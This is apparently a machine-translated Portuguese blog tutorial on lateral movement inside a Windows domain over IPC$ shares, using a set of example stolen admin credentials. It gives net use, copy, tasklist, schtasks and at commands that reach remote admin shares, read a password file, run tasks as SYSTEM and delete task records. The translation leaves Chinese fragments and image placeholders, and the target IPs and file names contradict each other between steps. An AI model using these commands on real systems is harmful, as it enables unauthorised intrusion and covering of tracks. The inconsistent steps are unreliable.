Penetração de intranet_IPC

Penetração de intranet_IPC

0x01. O que é IPC

IPC (Shared Named Pipe Resource) é na verdade um pipe nomeado aberto para comunicação entre processos; o IPC pode obter as permissões correspondentes verificando o nome de usuário e a senha e geralmente é usado para gerenciar remotamente o computador e visualizar os recursos compartilhados do computador.

Entendimento simples: você pode acessar arquivos (upload, download) na máquina de destino e também pode executar comandos na máquina de destino. O
upload e o download de arquivos podem ser feitos diretamente por meio do comando copy, mas o caminho armazena em cache os caminhos UNC.
O que é um caminho UNC? O caminho que começa com \ é um caminho UNC, por exemplo:\\10.10.10.10\c$\users

0x02. Condições de utilização do IPC

A abertura das portas 139 e 445
ipc$ permite login remoto e acesso a recursos compartilhados padrão, e a abertura da porta 139 indica a aplicação do protocolo NetBIOS. O acesso
a arquivos/impressoras compartilhados pode ser obtido através das portas 139 e 445. De modo geral IPC$, é necessário suporte para as portas 139 e 445.
O administrador habilitou o compartilhamento padrão.
O compartilhamento padrão é habilitado por padrão para conveniência do administrador para gerenciamento remoto, incluindo todos os discos lógicos ( c$,d$,e$), etc., e o sistema diretório winnt ou windows ( admin$). O acesso a esses diretórios compartilhados padrão pode ser obtido através do IPC$

0x03. Por que escolher a penetração IPC
? 1. O login remoto na área de trabalho aumentará o risco de exposição.
2. O administrador alvo pode desabilitar o login remoto no servidor.

0x04. Utilização do IPC na penetração da intranet

Suponha aqui que obtivemos a conta e a senha de um administrador de domínio:

user : redteam\saul
pass : admin!@#45

A seguir, demonstraremos como usar o IPC para concluir várias operações através desta senha de conta.
1. Estabelecer conexão IPC (operações de visualização, upload, download).
Suponha que obtivemos as permissões da máquina win7 (10.10.10.7) e desejamos use a linha de comando para win_server2008 (10.10.10.8) A máquina opera
1) Estabeleça conexão IPC:

net use \\10.10.10.8 /u:redteam\saul admin!@#45

Insira a descrição da imagem aqui

2) Excluir conexão IPC:

net use \\10.10.10.8 /de /y

Insira a descrição da imagem aqui
3) Visualize o disco compartilhado do alvo

net view \\10.10.10.8

Insira a descrição da imagem aqui
4) Visualize os arquivos na unidade C de destino

dir \\10.10.10.12\c$

Insira a descrição da imagem aqui
5) Visualize o arquivo pass.txt no diretório desktop:
Insira a descrição da imagem aqui

type \\10.10.10.12\c$\pass.txt

Insira a descrição da imagem aqui
6) Carregue o arquivo na unidade de destino C.
Por exemplo, se tivermos um arquivo na área de trabalho e carregá-lo na área de trabalho de destino, o comando será o seguinte:

copy 要上传的⽂件名 \\10.10.10.8\c$\
copy C:\Users\saul\Desktop\1.txt \\10.10.10.8\c$\Users\Administrator\Desktop\

Insira a descrição da imagem aqui
7) Baixe o arquivo pass.txt na área de trabalho da unidade de destino C.
Também podemos baixar o arquivo por meio do comando de cópia:

copy \\10.10.10.8\c$\Users\Administrator\Desktop\flag.txt

Insira a descrição da imagem aqui
8) Use a lista de tarefas para listar a lista de processos do host remoto:

/S : 指定连接到的计算机或IP地址,默认本机
/u [<Domain>\]<UserName> : 指定使⽤哪个⽤户执⾏这个命令
/P [password] : 为指定的⽤户指定密码。
例:tasklist /S 10.10.10.8 /U redteam\administrator /P Admin12345!

Insira a descrição da imagem aqui

9) Verifique a hora do host remoto.
Às vezes queremos executar tarefas agendadas no host remoto. Neste momento, precisamos saber a hora do host alvo, para facilitar a execução da tarefa agendada.

net time \\10.10.10.8

Insira a descrição da imagem aqui
10) Máquinas com versões superiores executam comandos de execução de tarefas agendadas: schtasks O
comando schtasks permite que administradores criem, excluam, consultem, alterem, executem e finalizem tarefas agendadas em sistemas locais ou remotos.
Funciona com Windows 2008 e posterior!
Exemplo: Crie uma tarefa agendada chamada test no host de destino win_server2008 (10.10.10.8) e execute 1.txt uma vez a cada minuto como sistema.

1、创建计划任务
schtasks /create /tn test /U redteam\saul /P admin!@#45 /tr "c:\1.txt" /sc MINUTE /mo 1 /s 10.10.10.8 /RU system
2、执⾏计划任务
schtasks /run /tn test /s 10.10.10.8 /U redteam\saul /P admin!@#45
3、删除计划任务
schtasks /F /delete /tn test /s 10.10.10.8 /U redteam\saul /P admin!@#45

Insira a descrição da imagem aqui

A máquina alvo já está rodando em segundo plano!
Insira a descrição da imagem aqui
Você também pode ver isso no agendador de tarefas.
Insira a descrição da imagem aqui
11) Máquinas em versões inferiores executam o comando de execução de tarefa agendada: AT O
comando AT é um comando integrado no Windows Em termos de gerenciamento de tarefas e processamento de transações de trabalho, os comandos AT têm comandos mais fortes e funções mais poderosas. O comando AT pode executar comandos e programas em um computador específico em uma hora e data especificadas. O
comando AT está integrado em sistemas operacionais anteriores ao Windows 2008, como o Windows 2003.
Antes de usar o comando at para criar uma tarefa agendada em um máquina remota, você precisa usar o comando net use. Crie ipc$:

  1. Por exemplo, deixe a máquina de destino win_server2008 (10.10.10.8) executar calc.bat às 17h20:
#查看⽬标系统时间
net time \\10.10.10.8
#将⽂件复制到⽬标系统中
copy calc.bat \\10.10.10.8\c$ 
#使⽤at创建计划任务
at \\10.10.10.8 5:20PM C:\calc.bat
#清除at记录
at \\10.10.10.8 ID /delete

Insira a descrição da imagem aqui
A execução
Insira a descrição da imagem aqui
2 foi adicionada com sucesso. O comando at também pode usar cmd para executar o comando e retornar o resultado em um texto.

# 使⽤cmd执⾏命令:
at \\10.10.10.8 5:40PM cmd.exe /c "ipconfig >C:/3.txt"
# type读取⽂本
type \\10.10.10.8\C$\3.txt

Insira a descrição da imagem aqui

Acho que você gosta

Origin blog.csdn.net/qq_42383069/article/details/124018033
Recomendado
Clasificación